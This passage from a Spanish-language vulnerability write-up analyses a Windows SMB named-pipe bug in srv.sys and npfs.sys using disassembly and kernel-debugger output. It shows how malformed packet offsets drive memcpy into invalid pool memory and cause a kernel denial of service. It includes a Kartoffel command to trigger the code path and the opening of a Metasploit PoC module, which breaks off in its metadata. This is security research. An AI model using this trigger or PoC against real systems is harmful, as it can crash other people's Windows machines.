<span class="kw4">PAGE</span>:<span class="nu0">00048587</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_50<span class="br0">&#93;</span>, <span class="kw3">ecx</span><br />
<span class="kw4">PAGE</span>:0004858A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">esi</span>+78h<span class="br0">&#93;</span> &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; Packet</span><br />
<span class="kw4">PAGE</span>:0004858D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="kw3">ecx</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; Packet.Data[]</span><br />
<span class="kw4">PAGE</span>:0004858F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+VirtualAddress<span class="br0">&#93;</span>, <span class="kw3">eax</span><br />
<span class="kw4">PAGE</span>:<span class="nu0">00048592</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">esi</span>+6Ch<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:<span class="nu0">00048595</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">eax</span>+10h<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:<span class="nu0">00048598</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sub</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="kw3">ecx</span> &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; Real packet len &#8211; DataOffset</span><br />
<span class="kw4">PAGE</span>:0004859A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">movzx</span> &nbsp; <span class="kw3">edi</span>, <span class="kw5">word</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">ebx</span>+15h<span class="br0">&#93;</span>&nbsp; &nbsp;<span class="co1">; Packet.DataLen</span><br />
<span class="kw4">PAGE</span>:0004859E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">edi</span>, <span class="kw3">eax</span><br />
<span class="kw4">PAGE</span>:000485A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jb</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_485A4<br />
<span class="kw4">PAGE</span>:000485A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edi</span>, <span class="kw3">eax</span><br />
&nbsp;</div>
<p>En esta porción de código, el driver podría hacer un chequeo para evitar continuar con el proceso en caso de que los offsets no se correspondan con el tamaño real del paquete enviado. A continuación srv.sys construye ( o reusa ) una IRP del tipo FILESYSTEM_CONTROL (0xD) cuyo IOCTL es 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE, METHOD_BUFFERED ) que envía al driver correspondiente a traves de una llamada a IofCallDriver. Esta IRP contendrá en el paquete enviado, aunque puede no mantener la coherencia respecto a los campos internos del paquete. Recordemos que la memoria reservada por el IO Manager para crear un buffer en METHOD_BUFFERED se obtiene del area de memoria NonPaged Pool, este es un punto importante para entender porqué se puede producir el fallo.</p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: srv.sys &nbsp; &nbsp; &nbsp; &nbsp;Vista SP1</p>
<p><span class="kw4">PAGE</span>:00048C90 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebx</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C91 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebx</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C92 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebx</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C93 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebx</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C94 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edi</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C95 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+VirtualAddress<span class="br0">&#93;</span> <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C98 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;119FF8h &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048C9D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="re0">0Dh</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; char</span><br />
<span class="kw4">PAGE</span>:00048C9F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">esi</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; int</span><br />
<span class="kw4">PAGE</span>:00048CA0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+FileInformation<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:00048CA3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw5">dword</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">eax</span>+38h<span class="br0">&#93;</span> <span class="co1">; FileObject</span><br />
<span class="kw4">PAGE</span>:00048CA6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw5">dword</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">esi</span>+80h<span class="br0">&#93;</span> <span class="co1">; Irp</span><br />
<span class="kw4">PAGE</span>:00048CAC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;_SrvBuildIoControlRequest@<span class="nu0">44</span> <span class="co1">; SrvBuildIoControlRequest(x,x,x,x,x,x,x,x,x,x,x)</span><br />
<span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:00048D23 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">esi</span>+80h<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:00048D29 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_44<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:00048D2C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;<span class="kw3">ds</span>:__imp_@IofCallDriver@<span class="nu0">8</span> <span class="co1">; IofCallDriver</span><br />
&nbsp;</div>
<p>Srv.sys reusa una IRP anteriormente reservada.</p>
<p>Esta IRP es procesada dentro de la rutina <em>npfs!NpCommonFileSystemControl</em></p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: npfs.sys &nbsp; &nbsp; &nbsp; Vista SP1</p>
<p><span class="kw4">PAGE</span>:0001885C loc_1885C: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: NpCommonFileSystemControl(x,x)+E7j</span><br />
<span class="kw4">PAGE</span>:0001885C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">eax</span>, 119FF8h<br />
<span class="kw4">PAGE</span>:<span class="nu0">00018861</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jz</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_18896</p>
<p><span class="kw4">PAGE</span>:<span class="nu0">00018896</span> loc_18896: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: NpCommonFileSystemControl(x,x)+139j</span><br />
<span class="kw4">PAGE</span>:<span class="nu0">00018896</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_C<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:<span class="nu0">00018899</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
<span class="kw4">PAGE</span>:0001889A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edx</span><br />
<span class="kw4">PAGE</span>:0001889B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+<span class="kw4">Irp</span><span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:0001889E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;_NpInternalWrite@<span class="nu0">12</span> <span class="co1">; NpInternalWrite(x,x,x)</span><br />
&nbsp;</div>
<p>Dentro de esta rutina acabamos finalmente en npfs!NpWriteDataQueue que es donde se puede disparar el fallo.<br />
Npfs recupera una entrada de una cola que contiene IRPs pendientes asociadas a la conexión.</p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: npfs.sys &nbsp; &nbsp; &nbsp; Vista SP1</p>
<p><span class="kw4">PAGE</span>:0001A187 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">esi</span><br />
<span class="kw4">PAGE</span>:0001A188 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_0<span class="br0">&#93;</span><br />
<span class="kw4">PAGE</span>:0001A18B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;_NpGetNextRealDataQueueEntry@<span class="nu0">8</span> <span class="co1">; NpGetNextRealDataQueueEntry(x,x)</span><br />
&nbsp;</div>
<p>Debido a que el driver realiza una comprobación en base a la entrada adquirida, no es posible que se de un overflow en la operación memcpy, como vemos a continuación</p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: npfs.sys &nbsp; &nbsp; &nbsp; Vista SP1</p>
<p>loc_1A1F6: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92j</span></p>
<p><span class="kw4">PAGE</span>:0001A1F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="br0">&#91;</span><span class="kw3">ebx</span><span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;<span class="co1">; Packet.DataLen</span><br />
<span class="kw4">PAGE</span>:0001A1F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="kw3">edi</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; &nbsp;Entry.BufferLen ( 0&#215;400 )</span><br />
<span class="kw4">PAGE</span>:0001A1FA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jnb</span> &nbsp; &nbsp; <span class="kw4">short</span> loc_1A1FE<br />
<span class="kw4">PAGE</span>:0001A1FC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edi</span>, <span class="kw3">ecx</span><br />
<span class="kw4">PAGE</span>:0001A1FE<br />
<span class="kw4">PAGE</span>:0001A1FE loc_1A1FE: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0j</span><br />
<span class="kw4">PAGE</span>:0001A1FE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw5">dword</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">eax</span>+10h<span class="br0">&#93;</span>, <span class="nu0">1</span><br />
<span class="kw4">PAGE</span>:0001A202 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jz</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_1A22D<br />
<span class="kw4">PAGE</span>:0001A204 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">test</span> &nbsp; &nbsp;<span class="kw3">edi</span>, <span class="kw3">edi</span><br />
<span class="kw4">PAGE</span>:0001A206 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jbe</span> &nbsp; &nbsp; <span class="kw4">short</span> loc_1A22D<br />
<span class="kw4">PAGE</span>:0001A208 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="nu0">52467</span><span class="re0">04Eh</span> &nbsp; &nbsp; &nbsp; <span class="co1">; Tag</span><br />
<span class="kw4">PAGE</span>:0001A20D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edi</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; NumberOfBytes</span><br />
<span class="kw4">PAGE</span>:0001A20E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; PoolType</span><br />
<span class="kw4">PAGE</span>:0001A210 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;<span class="kw3">ds</span>:__imp__ExAllocatePoolWithTag@<span class="nu0">12</span> <span class="co1">; ExAllocatePoolWithTag(x,x,x)</span><br />
&nbsp;</div>
<p>Es decir, cualquiera que sea la cantidad de bytes que se vayan a copiar durante memcpy, esa cantidad se reserva dinámicamente por lo que nunca podrá dar lugar a un overflow.<br />
Y finalmente llegamos a donde se produce el fallo</p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: npfs.sys &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Vista SP1</p>
<p><span class="kw4">PAGE</span>:0001A23E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edi</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; size_t</span><br />
<span class="kw4">PAGE</span>:0001A23F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_8<span class="br0">&#93;</span> <span class="co1">; &amp;amp;Packet + Packet.DataOffset</span><br />
<span class="kw4">PAGE</span>:0001A242 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sub</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebx</span><span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;<span class="co1">; &nbsp;(&amp;amp;Packet + Packet.DataOffset) &#8211; Packet.DataLength</span><br />
<span class="kw4">PAGE</span>:0001A244 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_C<span class="br0">&#93;</span> <span class="co1">; &amp;amp;Packet + (Current)Packet.DataLength</span><br />
<span class="kw4">PAGE</span>:0001A247 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; void *</span><br />
<span class="kw4">PAGE</span>:0001A248 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+P<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; void *</span><br />
<span class="kw4">PAGE</span>:0001A24B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;_memcpy<br />
&nbsp;</div>
<p>Al ajustar los parámetros para leer la parte de datos del paquete, no se tiene en cuenta que tanto <em>DataOffset</em> como <em>DataLength</em> son incorrectos, por lo que la dirección final que se le pasa como parámetro &#8220;src&#8221; a memcpy puede apuntar a una memoria no válida, más alla del buffer reservado por Srv.sys en el area NonPaged Pool. Las tags de la memoria reservada por Srv.sys vienen dadas por ‘<em>LSxx</em>&#8216; y son reservadas a través de <em>srv!SrvAllocateNonPagedPool</em></p>
<p>En el caso de que esa memoria no fuera válida, se produciría un BugCheck dando lugar a un fallo DoS a nivel de Kernel.  Aunque todas las versiones de Windows están teóricamente afectadas, debido a la naturaleza del fallo, este puede no ser reproducible. Se ha comprobado empíricamente que bajo ciertas circunstancias Vista es más propicio a desarrollar el fallo que otros sistemas operativos, donde los Work Context de <em>Srv.sys</em> son más grandes desde un inicio.<br />
Ejemplo:</p>
<blockquote><p>
Vista SP1<br />
kd&gt; !poolused 2<br />
Pool Used:<br />
NonPaged            		Paged<br />
Tag    		Allocs     Used   		 Allocs     	Used<br />
[...]<br />
LSwi       	 1    	16464        	 0       	 	0		initial work context<br />
LSwn        	4   	 33088        	 0       		 0		normal work context<br />
[...]</p></blockquote>
<p>Recordemos</p>
<blockquote><p>
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98<br />
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc<br />
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212<br />
nt!memcpy+0&#215;33:<br />
81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????<br />
Resetting default scope</p>
<p>1: kd&gt; kv<br />
ChildEBP RetAddr  Args to Child<br />
[...]<br />
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0&#215;33<br />
[...]</p>
<p>1: kd&gt; !pool 92bbfecf-($Packet.DataLength)<br />
Pool page 92bafed0 region is Nonpaged pool<br />
*92baf000 : large page allocation, Tag is LSwn, size is 0&#215;2050 bytes<br />
Pooltag LSwn : normal work context
</p></blockquote>
<p>Comprobamos como sí es posible que se pueda llegar a dar el caso.</p>
<blockquote><p>
1: kd&gt; !pte 92bbfecf &#8211; ($Packet.DataLength)<br />
VA 92bafed0<br />
PDE at 00000000C06024A8    PTE at 00000000C0495D78<br />
contains 00000000030B8863  contains 0000000009A40963<br />
pfn 30b8 &#8212;DA&#8211;KWEV    pfn 9a40 -G-DA&#8211;KWEV</p>
<p>1: kd&gt; !pte 92bbfecf + ($Packet.DataLength)<br />
VA 92bcfece<br />
PDE at 00000000C06024A8    PTE at 00000000C0495E78<br />
contains 00000000030B8863  contains 0000325E00000000<br />
pfn 30b8 &#8212;DA&#8211;KWEV                           not valid<br />
PageFile:  0<br />
Offset: 325e<br />
Protect: 0</p></blockquote>
<p>Inspeccionando la memoria</p>
<blockquote><p>
1: kd&gt; db 92bbfecf &#8211; ($Packet.DataLength)<br />
92bafed0  ff 53 4d 42 2f 00 00 00-00 18 07 c8 00 00 cc cc  .SMB/&#8230;&#8230;&#8230;..<br />
92bafee0  cc cc cc cc cc cc 00 00-00 08 dc 24 01 08 37 72  &#8230;&#8230;&#8230;..$..7r</p>
<p>1: kd&gt; db 92bbfecf + ($Packet.DataLength)<br />
92bcfece  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????<br />
92bcfede  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????</p></blockquote>
<p>Aunque el bug no se reproduce de esta manera (ya que es debido al manejo de las IRP por parte <em>srv.sys</em>), si te interesa depurar parte del código involucrado en el casque, es posible llegar hasta npfs!NpInternalWrite y <em>npfs!NpWriteDataQueue</em> localmente con <a href="http://kartoffel.reversemode.com">Kartoffel</a>:</p>
<p>kartoffel -d \\.\pipe\lsass -n 0&#215;20 -o 0 -z 0&#215;101 -Z 0&#215;0 -I 0x119ff8 -g -u ADDRESS,INVALID_ADDRESS</p>
<p><strong>Exploit</strong></p>
<p>Aquí hay un exploit PoC para metasploit que reproduce el DoS:</p>
<div class="dean_ch" style="white-space: wrap;">
require <span class="st0">&#8216;msf/core&#8217;</span></p>
<p>module Msf<br />
module Exploits<br />
module Test</p>
<p>
<span class="kw1">class</span> BugTest &lt; Msf::Exploit::Remote</p>
<p>
&nbsp; &nbsp; &nbsp; &nbsp; include Exploit::Remote::SMB</p>
<p>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">def</span> initialize<span class="br0">&#40;</span>info = <span class="br0">&#123;</span><span class="br0">&#125;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">super</span><span class="br0">&#40;</span>update_info<span class="br0">&#40;</span>info,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Name&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; <span class="st0">&#8216;test exploit&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Description&#8217;</span> &nbsp; &nbsp;=&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;tests&quot;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Author&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp; =&gt; <span class="st0">&#8216;tests&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;License&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp;=&gt; MSF_LICENSE,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Version&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp;=&gt; <span class="st0">&#8216;$Revision: 0 $&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Arch&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; <span class="st0">&#8216;x86&#8242;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Payload&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp;=&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Space&#8217;</span> =&gt; <span class="nu0">1000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Targets&#8217;</span> &nbsp; &nbsp; &nbsp; &nbsp;=&gt; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span><br />
